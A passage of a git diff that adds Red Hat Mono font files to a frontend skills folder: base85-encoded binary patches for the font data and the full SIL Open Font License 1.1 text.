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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/RedHatMono-OFL.txt b/skills/frontend-dev/canvas-fonts/RedHatMono-OFL.txt new file mode 100644 index 0000000..16cf394 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/RedHatMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/RedHatMono-Regular.ttf b/skills/frontend-dev/canvas-fonts/RedHatMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..3bf6a698bbb3ab2caefdd2cd0456fc08b35ecf1d GIT binary patch literal 34488 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 